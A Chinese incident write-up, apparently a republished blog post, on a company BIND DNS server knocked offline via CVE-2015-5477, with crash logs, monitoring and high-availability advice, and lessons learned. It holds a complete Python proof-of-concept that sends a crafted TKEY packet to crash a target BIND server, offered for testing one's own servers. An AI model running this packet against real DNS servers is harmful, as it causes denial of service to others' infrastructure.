公司DNS被攻击及解决办法

DNS服务器被攻击 今天给大家说说我们的DNS服务器被攻击及解决办法。

问题现象

今天上午10:30左右,公司的DNS服务器被攻击,导致平台部分服务不能访问。这时最先报警的是Zabbix,报出大量的主机宕机了。接到Zabbix报警后,赶紧登陆一台被监控节点,发现Zabbix agent进程是存在的,但是不能ping通Zabbix server节点,说明DNS出现了问题。

登陆DNS服务器,发现bind进程已经不存在了。赶紧查看日志,发现有如下的错误:

03-Jan-2017 10:28:22.208 general: critical: message.c:2335: REQUIRE(*name == ((void *)0)) failed, back trace
03-Jan-2017 10:28:22.208 general: critical: #0 0x417a3b in assertion_failed()+0x4b
03-Jan-2017 10:28:22.208 general: critical: #1 0x5d04ba in isc_assertion_failed()+0xa
03-Jan-2017 10:28:22.208 general: critical: #2 0x4afd13 in dns_message_findname()+0x143
03-Jan-2017 10:28:22.208 general: critical: #3 0x557d84 in dns_tkey_processquery()+0x184
03-Jan-2017 10:28:22.208 general: critical: #4 0x42ea10 in ns_query_start()+0x3c0
03-Jan-2017 10:28:22.208 general: critical: #5 0x40d44a in client_request()+0xa3a
03-Jan-2017 10:28:22.208 general: critical: #6 0x5f2dcb in run()+0x2ab
03-Jan-2017 10:28:22.208 general: critical: #7 0x348d2079d1 in _fini()+0x348cbfb139
03-Jan-2017 10:28:22.208 general: critical: #8 0x348cae886d in _fini()+0x348c4dbfd5
03-Jan-2017 10:28:22.208 general: critical: exiting (due to assertion failure)

这个就是2015年7月份爆出的CVE-2015-5477漏洞(拒绝服务漏洞),受影响的bind版本为9.x系列。由于TKEY查询的错误可导致BIND服务器发生REQUIRE断言失败并停止服务,攻击者利用漏洞可恶意构造数据包,导致TKEY记录查询错误,进而导致BIND服务器发生REQUIRE断言失败并停止服务。

解决办法

升级新版本的bind,然后进行测试,验证是否还存在此漏洞。测试脚本为:

#!/usr/bin/env python
import socket
import sys

print('CVE-2015-5477 BIND9 TKEY PoC')
if len(sys.argv) < 2:
    print('Usage: ' + sys.argv[0] + ' [target]')
    sys.exit(1)
print('Sending packet to ' + sys.argv[1] + ' ...')
payload = bytearray('4d 55 01 00 00 01 00 00 00 00 00 01 03 41 41 41 03 41 41 41 00 00 f9 00 ff 
03 41 41 41 03 41 41 41 00 00 0a 00 ff 00 00 00 00 00 09 08 41 41 41 41 41 41 41 41'.replace(' ', '').decode('hex'))
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 53))
print('Done.')

上面的脚本具有一定的攻击性,请大家不要随便使用。不过可以针对自己家公司的DNS服务器进行内测,如果发现有问题,则赶紧升级DNS软件。

如何做到bind进程的高可用行:

  • 操作系统需要被监控(系统不监控会被打死的),监控系统是否宕机
  • 进程需要做到高可用(使用supervisor来管理进程),named进程异常退出可以自动启动
  • 监控named进程,进程不存在则报警

事后总结

上班第一天就遇到此问题,犹如当头一棒,让我清醒了很多。还是没有做到位,这台机器没有做任何监控。这次遇到这个问题,没有第一时间抓紧恢复,而是解决Zabbix问题。

针对上述发生的问题,汲取了如下几点经验教训:

  • 遇到故障问题,抓紧时间恢复是第一要务
  • 复盘故障问题,找出根本原因
  • 找出解决故障或问题的办法或如何避免类似的故障

原文发布于微信公众号 - 小白的技术客栈(XBDJSKZ)

原文发表时间:2017-09-09

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏敏捷开发&项目管理

Bat file 安装和卸载同级目录下的.net 服务

今天得到个需求 客户需要用batch file 安装和卸载服务,网上搜了一把例子,都只解决了单个问题,我来稍微总结一下 安装服务 @ECHO OFF REM T...

3556
来自专栏Jay的后台开发笔记

低成本高收益的PHP性能提升方案

OPcache通过将 PHP 脚本预编译的字节码存储到共享内存中来提升 PHP 的性能, 存储预编译字节码的好处就是 省去了每次加载和解析 PHP 脚本的开销。

1573
来自专栏大魏分享(微信公众号:david-share)

Openshift高阶探索实验

一、HA方式部署Openshift 一个典型的OCP高可用架构是:master至少应为三个,且为奇数个(上面有etcd); ? 基础架构节点不少于两个,上面运行...

6988
来自专栏kl的专栏

关于ActiveMQ传输messageObject的异常

博主在做spring batch分片远程处理时用到ActiveMQ来通讯,但分片对象总是不能正确传输,查看ActiveMQ中的消息详情发现抛如下异常:Faile...

3558
来自专栏大魏分享(微信公众号:david-share)

IBM PowerHA 6 DARE 的功能介绍

DARE 的功能介绍 PowerHA 6.1 提供了 cluster 动态调整的功能,即在 cluster 处于活动的状态时,动态地对 cluster 拓扑和资...

34812
来自专栏大数据-Hadoop、Spark

Kafka简单使用1. 单节点单broker的部署及使用2.单节点多broker3. 容错性测试

1. 单节点单broker的部署及使用 1.1.修改配置文件$KAFKA_HOME/config/server.properties的如下项: broker.i...

27911
来自专栏云计算教程系列

使用PSAD检测CVM入侵

网络入侵检测的应用程序可以监控可疑流量并测试安全漏洞的网络接口。在本文中,我们将配置一个名为psad工具来监控我们的防火墙日志,并确定是否有问题。

1345
来自专栏安恒信息

安全漏洞公告

1 OpenSSL TLS心跳扩展协议包远程信息泄露漏洞 OpenSSL TLS心跳扩展协议包远程信息泄露漏洞发布时间:2014-04-07漏洞编号:CVE(C...

3426
来自专栏FreeBuf

新手指南:如何用Ettercap实现“中间人攻击”

什么是“中间人攻击”? 中间人攻击(Man-in-the-Middle Attack,简称“MiTM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术...

2227
来自专栏blackpiglet

Ceph 磁盘损坏现象和解决方法

对于存储系统,磁盘是消耗品,损坏是很常见的,所以这篇文章记录一下 Ceph 中出现磁盘损坏时的现象,以及如何定位和更换损坏的磁盘。

712

扫码关注云+社区